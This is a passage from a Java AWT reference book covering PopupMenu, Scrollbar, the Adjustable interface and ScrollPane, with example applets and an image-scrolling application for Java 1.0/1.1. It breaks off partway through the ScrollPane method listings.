public synchronized void addNotify () (New)

The addNotify() method creates the PopupMenu peer with all the MenuItems on it.

Example 10.3 is a simple applet that raises a pop-up menu if the user clicks the appropriate mouse button anywhere within the applet. Although the program could use the 1.0 event model, under the 1.0 model, it is impossible to tell which mouse event is appropriate to display the pop-up menu.

Example 10.3: Using a PopupMenu

// Java 1.1 only
import java.awt.*;
import java.applet.*;
import java.awt.event.*;
public class PopupTest extends Applet implements ActionListener {
    PopupMenu popup;
    public void init() {
        MenuItem mi;
        popup = new PopupMenu("Title Goes Here");
        popup.add(mi = new MenuItem ("Undo"));
        mi.addActionListener (this);
        popup.addSeparator();
        popup.add(mi = new MenuItem("Cut")).setEnabled(false);
        mi.addActionListener (this);
        popup.add(mi = new MenuItem("Copy")).setEnabled(false);
        mi.addActionListener (this);
        popup.add(mi = new MenuItem ("Paste"));
        mi.addActionListener (this);
        popup.add(mi = new MenuItem("Delete")).setEnabled(false);
        mi.addActionListener (this);
        popup.addSeparator();
        popup.add(mi = new MenuItem ("Select All"));
        mi.addActionListener (this);
        add (popup);
        resize(200, 200);
        enableEvents (AWTEvent.MOUSE_EVENT_MASK);
    }
    protected void processMouseEvent (MouseEvent e) {
        if (e.isPopupTrigger())
            popup.show(e.getComponent(), e.getX(), e.getY());
        super.processMouseEvent (e);
    }
    public void actionPerformed(ActionEvent e) {
        System.out.println (e);
    }
}

Previous | Home | Next
Putting It All Together | Book Index | Scrolling
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] Scrolling

Previous Chapter 11 Next

11. Scrolling

Contents:
Scrollbar
Scrolling An Image
The Adjustable Interface
ScrollPane

This chapter describes how Java deals with scrolling. AWT provides two means for scrolling. The first is the fairly primitive Scrollbar object. It really provides only the means to read a value from a slider setting. Anything else is your responsibility: if you want to display the value of the setting (for example, if you're using the scrollbar as a volume control) or want to change the display (if you're using scrollbars to control an area that's too large to display), you have to do it yourself. The Scrollbar reports scrolling actions through the standard event mechanisms; it is up to the programmer to handle those events and perform the scrolling.

Unlike other components, which generate an ACTION_EVENT when something exciting happens, the Scrollbar generates five events: SCROLL_LINE_UP, SCROLL_LINE_DOWN, SCROLL_PAGE_UP, SCROLL_PAGE_DOWN, and SCROLL_ABSOLUTE. In Java 1.0, none of these events trigger a default event handler like the action() method. To work with them, you must override the handleEvent() method. With Java 1.1, you handle scrolling events by registering an AdjustmentListener with the Scrollbar.addAdjustmentListener() method; when adjustment events occur, the listener's adjustmentValueChanged() method is called.

Release 1.1 of AWT also includes a ScrollPane container object; it is a response to one of the limitations of AWT 1.0. A ScrollPane is like a Panel, but it has scrollbars and scrolling built in. In this sense, it's like TextArea, which contains its own scrollbars. You could use a ScrollPane to implement a drawing pad that could cover an arbitrarily large area. This saves you the burden of implementing scrolling yourself: generating scrollbars, handling their events, and figuring out how to redisplay the screen accordingly.

Both Scrollbar and ScrollPane take advantage of the Adjustable interface. Adjustable defines the common scrolling activities of the two classes. The Scrollbar class implements Adjustable; a ScrollPane has two methods that return an Adjustable object, one for each scrollbar. Currently, you can use the ScrollPane's "adjustables" to find out the scrollbar settings in each direction. You can't change the settings or register AdjustmentListeners; the appropriate methods exist, but they don't do anything. It's not clear whether this is appropriate behavior or a bug (remember, an interface only lists methods that must be present but doesn't require them to do anything); it may change in a later release.

11.1 Scrollbar

Scrollbars come in two flavors: horizontal and vertical. Although there are several methods for setting the page size, scrollbar range (minimum and maximum values), and so on, basically all you can do is get and set the scrollbar's value. Scrollbars don't contain any area to display their value, though if you want one, you could easily attach a label.

To work with a Scrollbar, you need to understand the pieces from which it is built. Figure 11.1 identifies each of the pieces. At both ends are arrows, which are used to change the Scrollbar value the default amount (one unit) in the direction selected. The paging areas are used to change the Scrollbar value one page (ten units by default) at a time in the direction selected. The slider can be moved to set the scrollbar to an arbitrary value within the available range.

Figure 11.1: Scrollbar elements

[Graphic: Figure 11-1]

Scrollbar Methods

Constants

There are two direction specifiers for Scrollbar. The direction tells the Scrollbar which way to orient itself. They are used in the constructors, as a parameter to setOrientation(), and as the return value for the getOrientation() method.

public final static int HORIZONTAL

HORIZONTAL is the constant for horizontal orientation.

public final static int VERTICAL

VERTICAL is the constant for vertical orientation.

Constructors

public Scrollbar (int orientation, int value, int visible, int minimum, int maximum)

The Scrollbar constructor creates a Scrollbar with a direction of orientation and initial value of value. visible is the size of the slider. minimum and maximum are the range of values that the Scrollbar can be. If orientation is not HORIZONTAL or VERTICAL, the constructor throws the run-time exception IllegalArgumentException. If maximum is below the value of minimum, the scrollbar's minimum and maximum values are both set to minimum. If value is outside the range of the scrollbar, it is set to the limit it exceeded. The default line scrolling amount is one. The default paging amount is ten.

If you are using the scrollbar to control a visual object, visible should be set to the amount of a displayed object that is on the screen at one time, relative to the entire size of the object (i.e., relative to the scrollbar's range: maximum - minimum). Some platforms ignore this parameter and set the scrollbar to a fixed size.

public Scrollbar (int orientation)

This constructor for Scrollbar creates a Scrollbar with the direction of orientation. In Java 1.0, the initial settings for value, visible, minimum, and maximum are 0. In Java 1.1, the default value for visible is 10, and the default for maximum is 100; the other values default to 0. If orientation is not HORIZONTAL or VERTICAL, the constructor throws the run-time exception IllegalArgumentException. This constructor is helpful if you want to reserve space for the Scrollbar on the screen, to be configured later. You would then use the setValues() method to configure the scrollbar.

public Scrollbar ()

This constructor creates a VERTICAL Scrollbar. In Java 1.0, the initial settings for value, visible, minimum, and maximum are 0. In Java 1.1, the default value for visible is 10, and the default for maximum is 100; the other values default to 0. You would then use the setValues() method to configure the scrollbar.

Figure 11.2 shows both vertical and horizontal scrollbars. It also demonstrates a problem you'll run into if you're not careful. If not constrained by the LayoutManager, scrollbars can get very fat. The result is rarely pleasing. The solution is to place scrollbars in layout managers that restrict width for vertical scrollbars or height for horizontal ones. The side regions (i.e., everything except the center) of a border layout are ideal. In the long term, the solution will be scrollbars that give you their maximum size and layout managers that observe the maximum size.

Figure 11.2: Vertical and horizontal scrollbars

[Graphic: Figure 11-2]

Adjustable Methods

public int getOrientation ()

The getOrientation() method returns the current orientation of the scrollbar: either Scrollbar.HORIZONTAL or Scrollbar.VERTICAL.

public synchronized void setOrientation (int orientation) (New)

The setOrientation() method changes the orientation of the scrollbar to orientation, which must be either Scrollbar.HORIZONTAL or Scrollbar.VERTICAL. If orientation is not HORIZONTAL or VERTICAL, this method throws the run-time exception IllegalArgumentException. It was not possible to change the orientation of a scrollbar prior to Java 1.1.

public int getVisibleAmount () (New)
public int getVisible () (Deprecated)

The getVisibleAmount() method gets the visible setting of the Scrollbar. If the scrollbar's Container is resized, the visible setting is not automatically changed. getVisible() is the Java 1.0 name for this method.

public synchronized void setVisibleAmount (int amount) (New)

The setVisibleAmount() method changes the current visible setting of the Scrollbar to amount.

public int getValue ()

The getValue() method is probably the most frequently called method of Scrollbar. It returns the current value of the scrollbar queried.

public synchronized void setValue (int value)

The setValue() method changes the value of the scrollbar to value. If value exceeds a scrollbar limit, the scrollbar's new value is set to that limit. In Java 1.1, this method is synchronized; it was not in earlier versions.

public int getMinimum ()

The getMinimum() method returns the current minimum setting for the scrollbar.

public synchronized void setMinimum (int minimum) (New)

The setMinimum() method changes the Scrollbar's minimum value to minimum. The current setting for the Scrollbar may change to minimum if minimum increases above getValue().

public int getMaximum ()

The getMaximum() method returns the current maximum setting for the scrollbar.

public synchronized void setMaximum (int maximum) (New)

The setMaximum() method changes the maximum value of the Scrollbar to maximum. The current setting for the Scrollbar may change to maximum if maximum decreases below getValue().

public synchronized void setValues (int value, int visible, int minimum, int maximum)

The setValues() method changes the value, visible, minimum, and maximum settings all at once. In Java 1.0.2, separate methods do not exist for changing visible, minimum, or maximum. The scrollbar's value is set to value, visible to visible, minimum to minimum, and maximum to maximum. If maximum is below the value of minimum, it is set to minimum. If value is outside the range of the scrollbar, it is set to the limit it exceeded. In Java 1.1, this method is synchronized; it was not in earlier versions.

public int getUnitIncrement () (New)
public int getLineIncrement () (Deprecated)

The getUnitIncrement() method returns the current line increment. This is the amount the scrollbar will scroll if the user clicks on one of the scrollbar's arrows.

getLineIncrement() is the Java 1.0 name for this method.

public void setUnitIncrement (int amount) (New)
public void setLineIncrement (int amount) (Deprecated)

The setUnitIncrement() method changes the line increment amount to amount.

setLineIncrement() is the Java 1.0 name for this method.

Changing the line increment amount was not possible in Java 1.0.2. This method acted like it returned successfully, and getLineIncrement() returned the new value, but the Scrollbar changed its value by only one (the default) when you clicked on one of the arrows. However, you could work around this defect by explicitly handling the SCROLL_LINE_UP and SCROLL_LINE_DOWN events: get the correct line increment, adjust the display appropriately, and then set call setValue() to correct the scrollbar's value. This workaround is not needed in Java 1.1.

public int getBlockIncrement () (New)
public int getPageIncrement () (Deprecated)

The getBlockIncrement() method returns the current paging increment. This is the amount the scrollbar will scroll if the user clicks between the slider and one of the scrollbar's arrows.

getPageIncrement() is the Java 1.0 name for this method.

public void setBlockIncrement (int amount) (New)
public void setPageIncrement (int amount) (Deprecated)

The setBlockIncrement() method changes the paging increment amount to amount.

setPageIncrement() is the Java 1.0 name for this method.

Changing the paging increment amount was not possible in Java 1.0.2. This method acts like it returns successfully, and getPageIncrement() returns the new value, but the Scrollbar changes its value only by 10 (the default) when you click on one of the paging areas. However, you can work around this defect by explicitly handling the SCROLL_PAGE_UP and SCROLL_PAGE_DOWN events: get the correct page increment, adjust the display appropriately, and then set call setValue() to correct the scrollbar's value. This workaround is not necessary in Java 1.1.

Miscellaneous methods

public synchronized void addNotify ()

The addNotify() method creates the Scrollbar's peer. If you override this method, call super.addNotify() first. You will then be able to do everything you need with the information about the newly created peer.

protected String paramString ()

Scrollbar doesn't have its own toString() method; when you call the toString() method of a Scrollbar, you are actually calling the method Component.toString(). This in turn calls paramString(), which builds the string to display. For a Scrollbar, paramString() puts the scrollbar's value, visibility, minimum, maximum, and direction into the string. In Java 1.0, there is a minor bug in the output. Instead of displaying the scrollbar's visible setting (an integer), paramString() displays the component's visible setting (a boolean). (This is corrected in Java 1.1.) The following String is the result of calling toString() for a horizontal Scrollbar that hasn't been configured yet:

java.awt.Scrollbar[0,0,0x0,invalid,val=0,vis=true,min=0,max=0,horz]

Scrollbar Events

With the 1.0 event model, scrollbars generate five kinds of events in response to user interaction: SCROLL_LINE_UP, SCROLL_LINE_DOWN, SCROLL_PAGE_UP, SCROLL_PAGE_DOWN, and SCROLL_ABSOLUTE. The event that occurs depends on what the user did, as shown in Table 11.1; the event type is specified in the id field of the Event object passed to handleEvent(). However, as a programmer, you often do not care which of these five events happened. You care only about the scrollbar's new value, which is always passed as the arg field of the Event object.

Table 11.1: Scrollbar Events
Event Type (Event.id) | Event Meaning
SCROLL_ABSOLUTE | User drags slider.
SCROLL_LINE_DOWN | User presses down arrow.
SCROLL_LINE_UP | User presses up arrow.
SCROLL_PAGE_DOWN | User selects down paging area.
SCROLL_PAGE_UP | User selects up paging area.

Because scrollbar events do not trigger any default event handlers (like action()), it is necessary to override the handleEvent() method to deal with them. Unless your version of handleEvent() deals with all conceivable events, you must ensure that the original handleEvent() method is called. The simplest way is to have the return statement call super.handleEvent().

Most handleEvent() methods first identify the type of event that occurred. The following two code blocks demonstrate different ways of checking for the Scrollbar events.

if ((e.id == Event.SCROLL_LINE_UP) ||
    (e.id == Event.SCROLL_LINE_DOWN) ||
    (e.id == Event.SCROLL_PAGE_UP) ||
    (e.id == Event.SCROLL_PAGE_DOWN) ||
    (e.id == Event.SCROLL_ABSOLUTE)) {
    // Then determine which Scrollbar was selected and act upon it
}

Or more simply:

if (e.target instanceof Scrollbar) {
    // Then determine which Scrollbar was selected and act upon it.
}

Although the second code block is simpler, the first is the better choice because it is more precise. For example, what would happen if mouse events are passed to scrollbars? Different Java platforms differ most in the types of events passed to different objects; Netscape Navigator 3.0 for Windows 95 sends MOUSE_ENTER, MOUSE_EXIT, and MOUSE_MOVE events to the Scrollbar.[1] The second code block executes for all the mouse events--in fact, any event coming from a Scrollbar. Therefore, it executes much more frequently (there can be many MOUSE_MOVE events), leading to poor interactive performance.

[1] MOUSE_UP, MOUSE_DOWN, and MOUSE_DRAG are not generated since these operations generate SCROLL events.

Another platform-specific issue is the way the system generates SCROLL_ABSOLUTE events. Some platforms generate many events while the user drags the scrollbar. Others don't generate the event until the user stops dragging the scrollbar. Some implementations wait until the user stops dragging the scrollbar and then generate a flood of SCROLL_ABSOLUTE events for you to handle. In theory, it does not matter which is happening, as long as your event-processing code is tight. If your event-processing code is time consuming, you may wish to start another thread to perform the work. If the thread is still alive when the next event comes along, flag it down, and restart the operation. Listeners and 1.1 event handling

With the 1.1 event model, you register an AdjustmentListener by calling the addAdjustmentListener() method. Then when the user moves the Scrollbar slider, the AdjustmentListener.adjustmentValueChanged() method is called through the protected Scrollbar.processAdjustmentEvent() method. Key, mouse, and focus listeners are registered through the three Component methods of addKeyListener(), addMouseListener(), and addFocusListener(), respectively. Because you need to register a separate listener for mouse events, you no longer have the problem of distinguishing between mouse events and slider events. An adjustment listener will never receive mouse events.

public void addAdjustmentListener(AdjustmentListener listener) (New)

The addAdjustmentListener() method registers listener as an object interested in being notified when an AdjustmentEvent passes through the EventQueue with this Scrollbar as its target. The method listener.adjustmentValueChanged() is called when an event occurs. Multiple listeners can be registered.

public void removeAdjustmentListener(ItemListener listener) (New)

The removeAdjustmentListener() method removes listener as a interested listener. If listener is not registered, nothing happens.

protected void processEvent(AWTEvent e) (New)

The processEvent() method receives every AWTEvent with this Scrollbar as its target. processEvent() then passes it along to any listeners for processing. When you subclass Scrollbar, overriding processEvent() allows you to process all events yourself, before sending them to any listeners. In a way, overriding processEvent() is like overriding handleEvent() using the 1.0 event model.

If you override the processEvent() method, remember to call the super.processEvent(e) method last to ensure that regular event processing can occur. If you want to process your own events, it's a good idea to call enableEvents() (inherited from Component) to ensure that events are delivered even in the absence of registered listeners.

protected void processAdjustmentEvent(ItemEvent e) (New)

The processAdjustmentEvent() method receives all AdjustmentEvents with this Scrollbar as its target. processAdjustmentEvent() then passes them along to any listeners for processing. When you subclass Scrollbar, overriding processAdjustmentEvent() allows you to process all events yourself, before sending them to any listeners.

If you override processAdjustmentEvent(), you must remember to call super.processAdjustmentEvent(e) last to ensure that regular event processing can occur. If you want to process your own events, it's a good idea to call enableEvents() (inherited from Component) to ensure that events are delivered even in the absence of registered listeners.

Previous | Home | Next
PopupMenu | Book Index | Scrolling An Image
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] 11.2 Scrolling An Image

Previous Chapter 11
Scrolling 		Next

11.2 Scrolling An Image

Example 11.1 is a Java application that displays any image in the current directory in a viewing area. The viewing area scrolls to accommodate larger images; the user can use the scrollbars or keypad keys to scroll the image. In Java 1.1, it is trivial to implement this example with a ScrollPane; however, if you're using 1.0, you don't have this luxury. Even if you're using 1.1, this example shows a lot about how to use scrollbars.

Our application uses a Dialog to select which file to display; a FilenameFilter limits the list to image files. We use a menu to let the user request a file list or exit the program. After the user picks a file, the application loads it into the display area. Figure 11.3 shows the main scrolling window.

Figure 11.3: Scrolling an image

[Graphic: Figure 11-3]

The code for the scrolling image consists of a ScrollingImage class, plus several helper classes. It places everything into the file ScrollingImage.java for compilation.

Example 11.1: Source Code for Scrolling an Image

import java.awt.*;
import java.io.FilenameFilter;
import java.io.File;

The first class contains the FilenameFilter used to select relevant filenames: that is, files that are likely to contain GIF, JPEG, or XBM images. If the filename has an appropriate ending, the accept() method returns true; otherwise, it returns false.

// True for files ending in jpeg/jpg/gif/xbm
class ImageFileFilter implements FilenameFilter {
    public boolean accept (File dir, String name) {
        String tempname = name.toLowerCase();
        return (tempname.endsWith ("jpg") || tempname.endsWith ("jpeg") ||
                tempname.endsWith ("gif") || tempname.endsWith ("xbm"));
    }
}

The ImageListDialog class displays a list of files from which the user can select. Instead of using FileDialog, we created a customized List to prevent the user from roaming around the entire hard drive; choices are limited to appropriate files in the current directory. When the user selects an entry (by double-clicking), the image is then displayed in the scrolling area.

class ImageListDialog extends Dialog {
    private String name = null;
    private String entries[];
    private List list;
    ImageListDialog (Frame f) {
        super (f, "Image List", true);
        File dir = new File (System.getProperty("user.dir"));
        entries = dir.list (new ImageFileFilter());
        list = new List (10, false);
        for (int i=0;i<entries.length;i++) {
            list.addItem (entries[i]);
        }
        add ("Center", list);
        pack();
    }
    public String getName () {
        return name;
    }
    public boolean action (Event e, Object o) {
        name = (String)e.arg;
        ((ScrollingImage)getParent()).processImage();
        dispose();
        return true;
    }
}

The code in this class is straightforward. The constructor reads the current directory from the system property list, uses the list() method of the File class to create a list of files that match our filename filter, and then creates a List object that lists these files. getName() returns the name of the selected file. action() is called when the user selects a file; it sets the name of the selected file from the arg field of the Event and then calls the processImage() method of its parent container. The parent container of our ImageListDialog is the ScrollingImage class we are defining; its processImage() method displays a scrollable image.

The next class, ImageCanvas, is the Canvas that the image is drawn onto. We use a separate Canvas rather than drawing directly onto the Frame so that the scrollbars do not overlap the edges of the image. You will notice that the paint() method uses negative x and y values. This starts the drawing outside the Canvas area; as a result, the Canvas displays only part of the image. This is how we do the actual scrolling. (xPos, yPos) are the values given to us from the scrollbars; by positioning the image at (-xPos, -yPos), we ensure that the point (xPos, yPos) appears in the upper left corner of the canvas.

class ImageCanvas extends Canvas {
    Image image;
    int xPos, yPos;
    public void redraw (int xPos, int yPos, Image image) {
        this.xPos = xPos;
        this.yPos = yPos;
        this.image = image;
        repaint();
    }
    public void paint (Graphics g) {
        if (image != null)
            g.drawImage (image, -xPos, -yPos, this);
    }
}

ScrollingImage provides the framework for the rest of the program. It provides a menu to bring up the Dialog to choose the file, the scrollbars to scroll the scrolling canvas, and the image canvas area. This class also implements event handling methods to capture the scrollbar events, paging keys, and menu events.

public class ScrollingImage extends Frame {
    static Scrollbar horizontal, vertical;
    ImageCanvas center;
    int xPos, yPos;
    Image image;
    ImageListDialog ild;
    ScrollingImage () {
        super ("Image Viewer");
        add ("Center", center = new ImageCanvas ());
        add ("South",  horizontal = new Scrollbar (Scrollbar.HORIZONTAL));
        add ("East", vertical = new Scrollbar (Scrollbar.VERTICAL));
        Menu m = new Menu ("File", true);
        m.add ("Open");
        m.add ("Close");
        m.add ("-");
        m.add ("Quit");
        MenuBar mb = new MenuBar();
        mb.add (m);
        setMenuBar (mb);
        resize (400, 300);
    }
    public static void main (String args[]) {
        ScrollingImage si = new ScrollingImage ();
        si.show();
    }
    public boolean handleEvent (Event e) {
         if (e.id == Event.WINDOW_DESTROY) {
            System.exit(0);
        } else if (e.target instanceof Scrollbar) {
            if (e.target == horizontal) {
                xPos = ((Integer)e.arg).intValue();
            } else if (e.target == vertical) {
                yPos = ((Integer)e.arg).intValue();
            }
            center.redraw (xPos, yPos, image);
        }
        return super.handleEvent (e);
    }

This handleEvent() method kills the program if the user used the windowing system to exit from it (WINDOW_DESTROY). More to the point, if a Scrollbar generated the event, handleEvent() figures out if it was the horizontal or vertical scrollbar, saves its value as the x or y position, and redraws the image in the new location. Finally, it calls super.handleEvent(); as we will see in the following code, other events that we care about (key events and menu events) we don't want to handle here--we would rather handle them normally, in action() and keyDown() methods.

    public void processImage () {
        image = getToolkit().getImage (ild.getName());
        MediaTracker tracker = new MediaTracker (this);
        tracker.addImage (image, 0);
        try {
            tracker.waitForAll();
        } catch (InterruptedException ie) {
        }
        xPos = 0;
        yPos = 0;
        int imageHeight = image.getHeight (this);
        int imageWidth = image.getWidth (this);
        vertical.setValues (0, 5, 0, imageHeight);
        horizontal.setValues (0, 5, 0, imageWidth);
        center.redraw (xPos, yPos, image);
    }

processImage() reads the image's filename, calls getImage(), and sets up a MediaTracker to wait for the image to load. Once the image has loaded, it reads the height and width, and uses these to set the maximum values for the vertical and horizontal scrollbars by calling setValues(). The scrollbars' minimum and initial values are both 0. The size of the scrollbar "handle" is set to 5, rather than trying to indicate the visible portion of the image.

    public boolean action (Event e, Object o) {
        if (e.target instanceof MenuItem) {
            if ("Open".equals (o)) {
                // If showing already, do not show again
                if ((ild == null) || (!ild.isShowing())) {
                    ild = new ImageListDialog (this);
                    ild.show();
                }
            } else if ("Close".equals(o)) {
                image = null;
                center.redraw (xPos, yPos, image);
            } else if ("Quit".equals(o)) {
                System.exit(0);
            }
            return true;
        }
        return false;
    }

action() handles menu events. If the user selected Open, it displays the dialog box that selects a file. Close redraws the canvas with a null image; Quit exits the program. If any of these events occurred, action() returns true, indicating that the event was fully handled. If any other event occurred, action() returns false, so that the system will deliver the event to any other methods that might be interested in it.

    public boolean keyDown (Event e, int key) {
        if (e.id == Event.KEY_ACTION) {
            Scrollbar target = null;
            switch (key) {
                case Event.HOME:
                    target = vertical;
                    vertical.setValue(vertical.getMinimum());
                    break;
                case Event.END:
                    target = vertical;
                    vertical.setValue(vertical.getMaximum());
                    break;
                case Event.PGUP:
                    target = vertical;
                    vertical.setValue(vertical.getValue()
                             - vertical.getPageIncrement());
                    break;
                case Event.PGDN:
                    target = vertical;
                    vertical.setValue(vertical.getValue()
                             + vertical.getPageIncrement());
                    break;
                case Event.UP:
                    target = vertical;
                    vertical.setValue(vertical.getValue()
                             - vertical.getLineIncrement());
                    break;
                case Event.DOWN:
                    target = vertical;
                    vertical.setValue(vertical.getValue()
                             + vertical.getLineIncrement());
                    break;
                case Event.LEFT:
                    target = horizontal;
                    if (e.controlDown())
                        horizontal.setValue(horizontal.getValue() -
                            horizontal.getPageIncrement());
                    else
                        horizontal.setValue(horizontal.getValue() -
                            horizontal.getLineIncrement());
                    break;
                case Event.RIGHT:
                    target = horizontal;
                    if (e.controlDown())
                        horizontal.setValue(horizontal.getValue() +
                            horizontal.getPageIncrement());
                    else
                        horizontal.setValue(horizontal.getValue() +
                            horizontal.getLineIncrement());
                    break;
                default:
                    return false;
            }
            Integer value = new Integer (target.getValue());
            postEvent (new Event ((Object)target,
                       Event.SCROLL_ABSOLUTE, (Object)value));
            return true;
        }
        return false;
    }
}

keyDown() isn't really necessary, but it adds a nice extension to our scrollbars: in addition to using the mouse, the user can scroll with the arrow keys. Pressing an arrow key generates a KEY_ACTION event. If we have one of these events, we check what kind of key it was, then compute a new scrollbar value, then call setValue() to set the appropriate scrollbar to this value. For example, if the user presses the page up key, we read the page increment, add it to the current value of the vertical scrollbar, and then set the vertical scrollbar accordingly. (Note that this works even though nondefault page and line increments aren't implemented correctly.) The one trick here is that we have to get the rest of the program to realize that the scrollbar values have changed. To do so, we create a new SCROLL_ABSOLUTE event, and call postEvent() to deliver it.

Previous | Home | Next
Scrollbar | Book Index | The Adjustable Interface
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] 11.3 The Adjustable Interface

Previous Chapter 11
Scrolling 		Next

11.3 The Adjustable Interface

The Adjustable interface is new to Java 1.1. It provides the method signatures required for an object that lets you adjust a bounded integer value. It is currently implemented by Scrollbar and returned by two methods within ScrollPane.

Constants of the Adjustable Interface

There are two direction specifiers for Adjustable.

public final static int HORIZONTAL (New)

HORIZONTAL is the constant for horizontal orientation.

public final static int VERTICAL (New)

VERTICAL is the constant for vertical orientation.

Methods of the Adjustable Interface

public abstract int getOrientation () (New)

The getOrientation() method is for returning the current orientation of the adjustable object, either Adjustable.HORIZONTAL or Adjustable.VERTICAL.

setOrientation() is not part of the interface. Not all adjustable objects need to be able to alter orientation. For example, Scrollbar instances can change their orientation, but each Adjustable instance associated with a ScrollPane has a fixed, unchangeable orientation.

public abstract int getVisibleAmount () (New)

The getVisibleAmount() method lets you retrieve the size of the visible slider of the adjustable object.

public abstract void setVisibleAmount (int amount) (New)

The setVisibleAmount() method lets you change the size of the visible slider to amount.

public abstract int getValue () (New)

The getValue() method lets you retrieve the current value of the adjustable object.

public abstract void setValue (int value) (New)

The setValue() method lets you change the value of the adjustable object to value.

public abstract int getMinimum ()

The getMinimum() method lets you retrieve the current minimum setting for the object.

public abstract void setMinimum (int minimum) (New)

The setMinimum() method lets you change the minimum value of the adjustable object to minimum.

public abstract int getMaximum () (New)

The getMaximum() method lets you retrieve the current maximum setting for the object.

public abstract void setMaximum (int maximum) (New)

The setMaximum() method lets you change the maximum value of the adjustable object to maximum.

public abstract int getUnitIncrement () (New)

The getUnitIncrement() method lets you retrieve the current line increment.

public abstract void setUnitIncrement (int amount) (New)

The setUnitIncrement() method lets you change the line increment amount of the adjustable object to amount.

public abstract int getBlockIncrement () (New)

The getBlockIncrement() method lets you retrieve the current page increment.

public abstract void setBlockIncrement (int amount) (New)

The setBlockIncrement() method lets you change the paging increment amount of the adjustable object to amount.

public abstract void addAdjustmentListener(AdjustmentListener listener) (New)

The addAdjustmentListener() method lets you register listener as an object interested in being notified when an AdjustmentEvent passes through the EventQueue with this Adjustable object as its target.

public abstract void removeAdjustmentListener(ItemListener listener) (New)

The removeAdjustmentListener() method removes listener as a interested listener. If listener is not registered, nothing happens.

Previous | Home | Next
Scrolling An Image | Book Index | ScrollPane
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] 11.4 ScrollPane

Previous Chapter 11
Scrolling 		Next

11.4 ScrollPane

A ScrollPane is a Container with built-in scrollbars that can be used to scroll its contents. In the current implementation, a ScrollPane can hold only one Component and has no layout manager. The component within a ScrollPane is always given its preferred size. While the scrollpane's inability to hold multiple components sounds like a deficiency, it isn't; there's no reason you can't put a Panel inside a ScrollPane, put as many components as you like inside the Panel, and give the Panel any layout manager you wish.

Scrolling is handled by the ScrollPane peer, so processing is extremely fast. In Example 11.1, the user moves a Scrollbar to trigger a scrolling event, and the peer sends the event to the Java program to find someone to deal with it. Once it identifies the target, it posts the event, then tries to find a handler. Eventually, the applet's handleEvent() method is called to reposition the ImageCanvas. The new position is then given to the peer, which finally redisplays the Canvas. Although most of the real work is behind the scenes, it is still happening. With ScrollPane, the peer generates and handles the event itself, which is much more efficient.

ScrollPane Methods

Constants

The ScrollPane class contains three constants that can be used to control its scrollbar display policy. The constants are fairly self-explanatory. The constants are used in the constructor for a ScrollPane instance.

public static final int SCROLLBARS_AS_NEEDED (New)

SCROLLBARS_AS_NEEDED is the default scrollbar display policy. With this policy, the ScrollPane displays each scrollbar only if the Component is too large in the scrollbar's direction.

public static final int SCROLLBARS_ ALWAYS (New)

With the SCROLLBARS_ALWAYS display policy, the ScrollPane should always display both scrollbars, whether or not they are needed.

public static final int SCROLLBARS_ NEVER (New)

With the SCROLLBARS_NEVER display policy, the ScrollPane should never display scrollbars, even when the object is bigger than the ScrollPane's area. When using this mode, you should provide some means for the user to scroll, either through a button outside the container or by listening for events happening within the container.

Constructors

public ScrollPane () (New)

The first constructor creates an instance of ScrollPane with the default scrollbar display policy setting, SCROLLBARS_AS_NEEDED.

public ScrollPane (int scrollbarDisplayPolicy) (New)

The other constructor creates an instance of ScrollPane with a scrollbar setting of scrollbarDisplayPolicy. If scrollbarDisplayPolicy is not one of the class constants, this constructor throws the IllegalArgumentException run-time exception.

Layout methods

public final void setLayout(LayoutManager mgr) (New)

The setLayout() method of ScrollPane throws an AWTError. It overrides the setLayout() method of Container to prevent you from changing a ScrollPane's layout manager.

public void doLayout () (New)
public void layout () (Deprecated)

The doLayout() method of ScrollPane shapes the contained object to its preferred size.

layout() is another name for this method.

public final void addImpl(Component comp, Object constraints, int index) (New)

The addImpl() method of ScrollPane permits only one object to be added to the ScrollPane. It overides the addImpl() method of Container to enforce the ScrollPane's limitations on adding components. If index > 0, addImpl() throws the run-time exception IllegalArgumentException. If a component is already within the ScrollPane, it is removed before comp is added. The constraints parameter is ignored.

Scrolling methods

public int getScrollbarDisplayPolicy() (New)

The getScrollbarDisplayPolicy() method retrieves the current display policy, as set by the constructor. You cannot change the policy once it has been set. The return value is one of the class constants: SCROLLBARS_AS_NEEDED, SCROLLBARS_ALWAYS, or SCROLLBARS_NEVER.

public Dimension getViewportSize() (New)

The getViewportSize() method returns the current size of the ScrollPane, less any Insets, as a Dimension object. The size is given in pixels and has an initial value of 100 x 100.

public int getHScrollbarHeight() (New)

The getHScrollbarHeight() method retrieves the height in pixels of a horizontal scrollbar. The value returned is without regard to the display policy; that is, you may be given a height even if the scrollbar is not displayed. This method may return 0 if the scrollbar's height cannot be calculated at this time (no peer) or if you are using the SCROLLBARS_NEVER display policy.

The width of a horizontal scrollbar is just getViewportSize().width.

public int getVScrollbarWidth() (New)

The getVScrollbarWidth() method retrieves the width in pixels of a vertical scrollbar. The value returned is without regard to the display policy; that is, you may be given a width even if the scrollbar is not displayed. This method may return 0 if the scrollbar's width cannot be calculated at this time (no peer) or if you are using the SCROLLBARS_NEVER display policy.

The height of a vertical scrollbar is just getViewportSize().height.

public Adjustable getHAdjustable() (New)

The getHAdjustable() method returns the adjustable object representing the horizontal scrollbar (or null if it is not present). Through the methods of Adjustable, you can get the different settings of the scrollbar.

The object that this method returns is an instance of the package private class ScrollPaneAdjustable, which implements the Adjustable interface. this class allows you to register listeners for the scrollpane's events and inquire about various properties of the pane's scrollbars. It does not let you set some scrollbar properties; the setMinimum(), setMaximum(), and setVisibleAmount() methods throw an AWTError when called.

public Adjustable getVAdjustable() (New)

The getVAdjustable() method returns the adjustable object representing the vertical scrollbar (or null if it is not present). Through the methods of Adjustable, you can get the different settings of the scrollbar.

The object that this method returns is an instance of the package private class ScrollPaneAdjustable, which implements the Adjustable interface. this class allows you to register listeners for the scrollpane's events and inquire about various properties of the pane's scrollbars. It does not let you set some scrollbar properties; the setMinimum(), setMaximum(), and setVisibleAmount() methods throw an AWTError when called.

public void setScrollPosition(int x, int y) (New)

